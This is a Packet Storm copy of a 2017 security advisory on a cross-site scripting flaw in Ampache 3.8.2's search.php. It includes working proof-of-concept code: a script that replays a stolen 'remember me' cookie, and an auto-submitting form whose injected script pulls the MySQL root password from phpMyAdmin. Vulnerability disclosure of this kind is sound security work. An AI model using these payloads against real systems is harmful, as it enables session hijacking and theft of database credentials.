what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ampache 3.8.2 Cross Site Scripting

Ampache 3.8.2 Cross Site Scripting
Posted May 29, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Ampache version 3.8.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 840c447bd9f09e54a8a47c9e4812cbdacc54fed01861bcaa4abf20e47560f145

Ampache 3.8.2 Cross Site Scripting

Change Mirror Download
[+] Credits: John Page aka hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AMPACHE-v3.8.2-XSS.txt
[+] ISR: ApparitionSec



Vendor:
==========
ampache.org



Product:
==============
ampache v3.8.2

A web based audio/video streaming application and file manager allowing you to access your music & videos from anywhere,
using almost any internet enabled device.




Vulnerability Type:
===================
Cross Site Scripting (XSS)




Security Issue:
================
ampache has XSS entry point on "search.php" webpage, if the "remember me" checkbox is used when authenicating, remote attackers
can steal the "ampache_remember" cookie to potentially gain access to the ampache application from another machine/browser.

If application is hosted in an environment using name-based virtual hosting where many different hosts can share the SAME IP address.
Then possibly attackers on same virtual environment can add the session exploit file to the web server and later request it via IP address
potentially allowing attackers to be authenticated using the victims stolen "remember me" credentials.

1 Open a new browser etc
2 Enter victims IP followed by our exploit HTML file including the victims stolen cookie and remember me token.
Your in!

e.g.

<script>
document.cookie="ampache_remember=admin%3Afec492d2160d171ca6e73178d7642e5e%3A9607fc374991cd336dad41b69cddef612981cbdf823a5fa0e8778187e594a7bc; ampache=clrcnors56jpt5h5r8krfp9ag1; ampache_user=admin; player-61646d696e=1";
window.open('http://VICTIM-IP/ampache-3.8.2_all/?ampache=clrcnors56jpt5h5r8krfp9ag1')
</script>



Below XSS exploit will instead attempt to lift MySQL Database 'root' user password if PHPMyAdmin is present.



Exploit/POC:
=============
Steal MySQL Database 'root' user password POC, if PHPMyAdmin is present.
We will use backtick "`" operator for the Ajax GET request as single quotes are escaped by slashes.

Tested successful in Firefox / PHPMyAdmin 4.5.1

<form method="POST" action="http://127.0.0.1/ampache-3.8.2_all/search.php?type=song">
<select name="rule_1">
<option value="/></script><script>var xhr=new XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){var n=xhr.responseText.search(`username=root`);if(n!=-1){alert(xhr.responseText.substring(n+104,n+275));}}};xhr.open(`GET`,`http://127.0.0.1/phpmyadmin/sql.php?db=mysql&goto=db_structure.php&table=user`,true);xhr.send(null)</script>">Anywhere</option>
</select>
<script>document.forms[0].submit()</script>
</form>




Network Access:
===============
Remote




Severity:
=========
Medium



Disclosure Timeline:
================================
Vendor Notification: No reply
May 29, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close